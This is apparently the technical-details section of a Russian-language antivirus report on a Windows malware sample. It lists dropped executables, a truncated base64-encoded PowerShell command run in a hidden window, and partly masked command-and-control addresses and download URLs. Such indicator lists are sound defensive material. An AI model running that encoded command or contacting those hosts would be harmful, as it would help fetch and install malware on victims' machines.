Техническая информация
- 'netbios' "%WINDIR%\SysWOW64\XAPOFX1_5\netbios.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABQADcAdAAwADAAbQBzAD0AKAAoACcARgBkACcAKwAnADQAJwApACsAKAAnADQAJwArACcAbgA1AHMAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAcA...
- %HOMEPATH%\pdm46ww\r2yha59\slk0lv.exe
- %WINDIR%\syswow64\xapofx1_5\netbios.exe
- %HOMEPATH%\pdm46ww\r2yha59\slk0lv.exe в %WINDIR%\syswow64\xapofx1_5\netbios.exe
- '12#.#2.203.42':80
- http://lb####putacion.com/services/eY3/
- http://12#.#2.203.42/XtbnH1Onb1MA2AbE/Jr8FKub1dq0xKblXH/YOkl3oafTAPBM3lBrX/At13qOPXUtrSsqAke/1NU3tgMfZflH7YDbdo/
- DNS ASK lb####putacion.com
- '%HOMEPATH%\pdm46ww\r2yha59\slk0lv.exe'
- '%WINDIR%\syswow64\xapofx1_5\netbios.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABQADcAdAAwADAAbQBzAD0AKAAoACcARgBkACcAKwAnADQAJwApACsAKAAnADQAJwArACcAbgA1AHMAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAcA...' (со скрытым окном)